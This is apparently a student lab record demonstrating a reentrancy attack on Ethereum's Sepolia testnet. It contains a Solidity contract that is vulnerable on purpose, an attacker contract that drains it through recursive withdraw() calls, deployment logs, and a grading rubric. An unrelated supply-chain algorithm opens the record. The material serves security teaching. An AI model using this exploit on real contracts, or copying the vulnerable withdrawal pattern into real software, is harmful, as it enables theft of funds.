



School: Campus:

Academic Year: Subject Name: Subject Code:

Semester: Program: Branch: Specialization:

Date:

Applied and Action Learning

(Learning by Doing and Discovery)

Name of the Experiment : Security First – Understanding Blockchain Attacks

* **Coding Phase: Pseudo Code / Flow Chart / Algorithm**

ALGORITHM:

- 1.start
- 2.Map all supply chain participants (Producer, Transporter, Retailer, Customer).
- 3.Provide each participant with a distinct blockchain address.
- 4.When a new product batch is created:
 - Create a unique Product ID.
 - Log details (product name, batch number, source, timestamp).
 - Save transaction to blockchain.
- 5.Throughout transportation:
 - Refresh location information and handling status on blockchain.
- 6.Upon reaching retailer:
 - Confirm authenticity via blockchain ledger verification.
- 7.Customer uses QR code scan to access product origin and journey information.
- 8.Smart contract executes payment after delivery confirmation.
- 9.End

* **Software used**

- 1.Remix IDE
- 2.MetaMask Wallet
- 3.Ethereum Test Network (Sepolia)

* Testing Phase: Compilation of Code (error detection)

1. Write Vulnerable Smart Contract

```
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint) public balances;

    function deposit() public payable {    // infinite gas
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {    // infinite gas
        uint amount = balances[msg.sender];
        require(amount > 0, "Insufficient balance");
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] = 0;    // vulnerable position
    }
}
```

2. Write Attacker Smart Contract

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity ^0.8.0;
3
4 interface IVulnerableBank {
5     function deposit() external payable;    // - gas
6     function withdraw() external;    // - gas
7 }
8
9 contract Attacker {
10     IVulnerableBank public target;
11
12     constructor(address _targetAddress) {    // infinite gas 179400 gas
13         target = IVulnerableBank(_targetAddress);
14     }
15
16     function attack() public payable {    // infinite gas
17         target.deposit{value: msg.value}();
18         target.withdraw();
19     }
20
21     receive() external payable {    // undefined gas
22         if (address(target).balance >= 1 ether) {
23             target.withdraw();
24         }
25     }
26
27     function getBalance() public view returns (uint) {    // 312 gas
28         return address(this).balance;
29     }
30 }
```

3. Deployment

Deploy VulnerableBank.sol first.

Copy its deployed address.

Now deploy Attacker.sol contract using that address in its constructor.

* Testing Phase: Compilation of Code (error detection)

Account 1

Deploy a contract

This site wants you to deploy a contract

Estimated changes ⓘ No changes

Network s Sepolia

Request from ⓘ
HTTP localhost:49589

Network fee ⓘ 0.0001 s SepoliaETH
\$0.40

Speed Market ~12 sec

Max fee ⓘ 0.0001

Cancel **Confirm**

[block:9538113 txIndex:6] from: 0xe4a...ca52e to: VulnerableBank.(constructor)
value: 0 wei data: 0x608...e0033 logs: 0 hash: 0xc06...f3f9a

[view on Etherscan](#) [view on Blockscout](#)

Debug ▾

[block:9538113 txIndex:6] from: 0xe4a...ca52e to: VulnerableBank.(constructor)
value: 0 wei data: 0x608...e0033 logs: 0 hash: 0xc06...f3f9a

[view on Etherscan](#) [view on Blockscout](#)

Debug ▾

* Implementation Phase: Final Output (no error)

1. Victim Setup

In VulnerableBank, call deposit() from 2–3 different accounts with 1 Ether each.
Total bank balance = 3 Ether.

2. Launch Attack

From Attacker contract, call attack() and send 1 Ether.
Observe multiple recursive withdrawals triggered from fallback function.

3. Results

Check getBalance() of attacker — shows drained funds.
Check total bank balance — now reduced drastically.

* Implementation Phase: Final Output (no error)

Applied and Action Learning

* Observations

- 1.The Reentrancy Attack demonstrates how unprotected external calls can lead to fund loss in smart contracts.
- 2.Secure coding practices like Checks-Effects-Interactions and Reentrancy Guards are essential to protect blockchain applications.

ASSESSMENT

Rubrics	Full Mark	Marks Obtained	Remarks
Concept	10		
Planning and Execution/ Practical Simulation/ Programming	10		
Result and Interpretation	10		
Record of Applied and Action Learning	10		
Viva	10		
Total	50		

Signature of the Student:

Name :

Regn. No. :

Page No.....

Signature of the Faculty:

*As applicable according to the experiment.
Two sheets per experiment (10-20) to be used.